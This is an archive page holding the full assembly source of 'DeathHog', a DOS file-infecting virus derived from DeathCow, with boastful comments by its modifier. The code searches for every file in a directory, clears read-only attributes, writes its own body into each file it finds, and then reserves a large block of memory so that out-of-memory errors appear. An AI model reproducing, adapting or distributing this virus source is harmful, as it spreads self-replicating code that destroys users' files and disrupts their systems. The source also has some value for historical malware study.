home *** CD-ROM | disk | FTP | other *** search
- ; DeathHog, (will defeat read-only files and appends itself to all
-
- ; files)
-
- ; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ
-
- ; r/w access, nuisance routines supplied by KOUCH
-
- ;
-
- ; Appended by Kouch, derived from DeathCow/Define (author unknown)
-
-
-
-
-
- virus_length equ finish - start
-
-
-
- code segment 'CODE'
-
- assume cs:code,ds:code,es:code,ss:code
-
-
-
- org 0100h
-
-
-
- start label near
-
-
-
- main proc near
-
- mov ah,04Eh ; DOS find first file function
-
- mov dx,offset file_spec ; DX points to "*.*" - any file
-
- int 021h
-
-
-
- infect_file : mov ah,43H ;the beginning of this
-
- mov al,0 ;routine gets the file's
-
- mov dx,09Eh ;attribute and changes it
-
- int 21H ;to r/w access so that when
-
- ;it comes time to open the
-
- mov ah,43H ;file, the virus can easily
-
- mov al,1 ;defeat files with a 'read only'
-
- mov dx,09Eh ;attribute. It leaves the file r/w,
-
- mov cl,0 ;because who checks that, anyway?
-
- int 21H
-
-
-
- mov ax,03D01h ; DOS open file function, write-only
-
- mov dx,09Eh ; DX points to the found file
-
- int 021h
-
-
-
- xchg bx,ax ; BX holds file handle
-
-
-
- mov ah,040h ; DOS write to file function
-
- mov cl,virus_length ; CL holds # of bytes to write
-
- mov dx,offset main ; DX points to start of code
-
- int 021h
-
-
-
- mov ah,03Eh ; DOS close file function
-
- int 021h
-
-
-
- mov ah,04Fh ; DOS find next file function
-
- int 021h
-
- jnc infect_file ; Infect next file, if found
-
-
-
- mov ah,31h ;insert 480K memory balloon
-
- mov dx,7530h ;for nuisance value
-
- int 21H ;it's big enough so 'out of
-
- ;memory' messages will start cropping up quickly
-
- ; RETurn to DOS
-
-
-
- file_spec db "*.*",0 ; Files to infect: apped to all files
-
- main endp
-
-
-
- finish label near
-
-
-
- code ends
-
- end main
-
-